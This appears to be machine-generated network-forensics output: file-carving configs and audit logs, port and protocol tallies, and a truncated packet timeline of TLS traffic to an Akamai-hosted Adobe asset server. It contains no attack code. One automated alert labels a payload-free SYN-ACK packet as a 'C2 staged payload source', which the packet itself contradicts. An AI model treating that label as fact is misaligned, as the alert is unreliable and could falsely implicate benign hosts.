52 cc fd 9b 3d c0 5f a7 55 c1 3b 73 8c 26 bf 2d 0c 38 f8 60 34 e5 9f e4 09 f2 7e 7a 30 9f 50 00 1a 16 68 48 fb 3e a6 f7 5c 8c f4 aa f9 45 80 3a c9 db 5e 72 dd 75 4e f9 fa 9c 55 f5 ab b0 39 4a b6 7e 9b 97 a3 52 f6 88 73 f2 4c 07 ca 93 b2 ac 15 49 a9 1b d1 56 e4 0a cd ac 58 f6 44 bd df a5 d4 d0 60 be d8 8e fb 6d 24 67 9f 6b 83 97 d0 3c a7 2f 88 8a 9f 27 f5 f0 9f d0 7c aa 6c 2a 8e 05 39 25 5d 4e 53 bb d3 80 51 42 20 26 44 63 a3 3a 1b 05 62 d9 85 9d 39 f6 3e 26 f4 24 b6 58 d9 e8 24 9f 4f 56 49 25 c9 52 c5 12 0a cf 03 6a 68 31 b6 41 4a 07 74 2b 28 4b c9 97 83 5b 8c 21 dc 3f 93 9e 48 e2 3a 53 9c 2d a9 93 99 69 27 b8 f4 17 31 b4 ff 66 4a 74 80 f8 df d0 31 ca 92 72 cc f1 4a 5b 06 e6 33 85 8b 23 2b f5 8c 46 82 9a 92 73 2e b8 32 80 7c fa a8 b2 06 a9 03 3f 02 85 d9 69 4f 89 65 eb 95 51 bf 3f 7e 04 3c c7 39 b3 c3 95 eb ce 2c 79 8a a4 5c f2 a3 d7 e0 42 fc fe 10 ec 01 69 48 ca cf a9 26 92 01 8a 26 22 ce 1a ac 46 e5 5b de d0 e0 f8 25 4f 29 57 66 12 ae b5 3a d6 5c d1 d9 c5 92 89 85 42 61 f3 58 d8 4f 94 01 c4 f0 8a c7 22 66 11 33 bd ba ba b3 db b4 fd 3a 44 07 df a4 6c 11 c1 6b 48 65 58 64 11 66 1b e1 c5 88 1a 14 3f bc 43 87 0c 86 b9 2e e7 1f 83 78 12 fc 94 d8 7e aa a6 89 c6 1b 83 1b 93 7f 5f e5 01 c6 15 5d f4 21 6c 15 02 18 d0 e6 86 6f 58 f2 71 f6 40 22 98 b0 3d 73 8a b9 00 7c 9b 5a 9d 50 c2 2c 15 2b 0b 4f 68 96 f1 bb b9 ff ba 10 c1 f5 9b f3 63 4f 24 c2 ae 19 64 fb 56 de cc 56 22 b8 32 d1 84 07 47 99 da 28 98 c6 29 61 e6 02 f6 df 31 92 34 23 ce 48 a4 3a e8 cd 20 05 98 5f 0e 90 52 f5 a9 d9 76 1c 88 44 b4 a2 40 ae 60 cb 5f d0 df 6b 82 10 d3 28 30 8b aa f8 cb cf 22 73 34 8b ed 26 4a d0 6a 24 92 dd 57 c5 3d 66 d7 61 7d 49 03 4f b9 a1 e9 2f a4 5d e5\n2026-06-14T20:04:32.607317,Tool:tmp_aujhgwx/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp_aujhgwx/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-06-14T20:04:32.609513,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp_aujhgwx/carved/scalpel/audit.txt,1178,084a958c096d3c07b0124ac425acc42f,42004756f06d4ba8188bdf36089b49a980a655864a5a53b152fcc54417c264d0,4.66,\"Scalpel version 1.60 audit file, Started at Sun Jun 14 20:04:32 2026, Command line:, scalpel -c /tmp/tmp_aujhgwx/carved/scalpel.conf /tmp/filtered_u0tvs7mj.pcap -o /tmp/tmp_aujhgwx/carved/scalpel , Output directory: /tmp/tmp_aujhgwx/carved/scalpel, Configuration file: /tmp/tmp_aujhgwx/carved/scalpel.conf, Opening target , /tmp/filtered_u0tvs7mj.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000009.mp3        50072, YES               0, filtered_u0tvs7mj.pcap, 00000008.mp3        21483, YES               0, filtered_u0tvs7mj.pcap, 00000007.gif        49305, YES               0, filtered_u0tvs7mj.pcap, 00000006.gif        34905, YES               0, filtered_u0tvs7mj.pcap, 00000005.gif        24385, YES               0, filtered_u0tvs7mj.pcap, 00000004.gif        49305, YES               0, filtered_u0tvs7mj.pcap, 00000003.gif        34905, YES               0, filtered_u0tvs7mj.pcap, 00000002.gif        24385, YES               0, filtered_u0tvs7mj.pcap, 00000001.jpg        34224, YES               0, filtered_u0tvs7mj.pcap, 00000000.jpg        34224, YES               0, filtered_u0tvs7mj.pcap, Completed at Sun Jun 14 20:04:32 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 39 2e 6d 70 33 20 20 20 20 20 20 20 20 35 30 30 37 32 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 38 2e 6d 70 33 20 20 20 20 20 20 20 20 32 31 34 38 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 37 2e 67 69 66 20 20 20 20 20 20 20 20 34 39 33 30 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 36 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 39 30 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 35 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 33 38 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 34 2e 67 69 66 20 20 20 20 20 20 20 20 34 39 33 30 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 33 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 39 30 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 32 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 33 38 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 31 2e 6a 70 67 20 20 20 20 20 20 20 20 33 34 32 32 34 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 6a 70 67 20 20 20 20 20 20 20 20 33 34 32 32 34 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a\n2026-06-14T20:04:32.604513,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp_aujhgwx/carved/foremost/audit.txt,700,fce684de3051b25b6b84b0d12f37b698,4eedd40e8580634c9e3881e6808986dc8bd5887ae66471627415888dede9783e,4.91,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jun 14 20:04:32 2026, Invocation: foremost -t all -i /tmp/filtered_u0tvs7mj.pcap -o /tmp/tmp_aujhgwx/carved/foremost , Output directory: /tmp/tmp_aujhgwx/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_u0tvs7mj.pcap, Start: Sun Jun 14 20:04:32 2026, Length: 50 KB (51608 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jun 14 20:04:32 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jun 14 20:04:32 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 5f 61 75 6a 68 67 77 78 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 75 30 74 76 73 37 6d 6a 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 30 20 4b 42 20 28 35 31 36 30 38 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 31 34 20 32 30 3a 30 34 3a 33 32 20 32 30 32 36 0a\n2026-06-14T20:04:32.609513,Tool:scalpel/jpg-0-0,Unknown,0,Unknown,0,HTTP,00000000.jpg,jpg,/tmp/tmp_aujhgwx/carved/scalpel/jpg-0-0/00000000.jpg,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/mp3-9-0,Unknown,0,Unknown,0,HTTP,00000009.mp3,mp3,/tmp/tmp_aujhgwx/carved/scalpel/mp3-9-0/00000009.mp3,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/mp3-9-0,Unknown,0,Unknown,0,HTTP,00000008.mp3,mp3,/tmp/tmp_aujhgwx/carved/scalpel/mp3-9-0/00000008.mp3,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/jpg-1-0,Unknown,0,Unknown,0,HTTP,00000001.jpg,jpg,/tmp/tmp_aujhgwx/carved/scalpel/jpg-1-0/00000001.jpg,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-3-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-3-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000007.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-4-0/00000007.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000006.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-4-0/00000006.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-14T20:04:32.609513,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmp_aujhgwx/carved/scalpel/gif-4-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,113,47665,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,113,47665,50.00%,50.00%\n64014,31,13373,13.72%,14.03%\n63964,30,9631,13.27%,10.10%\n64010,30,9554,13.27%,10.02%\n63945,22,15107,9.73%,15.85%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-06-14 14:22:40.636673,1,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2441337655 Ack=0,bc24112907bbbc2411360d0c0800450000342faf40008006cd070a98980b02175953f9c901bb9183db37000000008002faf00dd20000020405b40103030801010402,\".$.)...$.6\n...E..4/.@.....\n.....YS.......7........\n...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 12207, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52487, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337655, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 3538, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:22:40.636681,2,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1884095051 Ack=2441337656,bc2411360d0cbc24112907bb0800450000340000400040063cb7021759530a98980b01bbf9c9704d024b9183db388012faf0fe330000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.<...YS\n.......pM.K...8.....3.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15543, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884095051, \"\"ack\"\": 2441337656, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 65075, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:22:40.636794,3,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441337656 Ack=1884095052,bc24112907bbbc2411360d0c0800450000282fb040008006cd120a98980b02175953f9c901bb9183db38704d024c50100402d2ea0000,\".$.)...$.6\n...E..(/.@.....\n.....YS.......8pM.LP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12208, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52498, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337656, \"\"ack\"\": 1884095052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 53994, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:40.637447,4,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2441337656 Ack=1884095052,bc24112907bbbc2411360d0c0800450000e22fb140008006cc570a98980b02175953f9c901bb9183db38704d024c501804023336000016030300b5010000b103036a2f1b9ff55e2fadf0fab78c1aa3e391923280948ec1eb61bfcb9a689cc587e4000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000620000001800160000136173736574732e61646f626564746d2e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\".$.)...$.6\n...E.../.@....W\n.....YS.......8pM.LP...36.............j/...^/..........2.....a...h......&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...b.........assets.adobedtm.com..........\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 226, \"\"id\"\": 12209, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52311, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337656, \"\"ack\"\": 1884095052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 13110, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 181, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=177 version=TLS 1.2 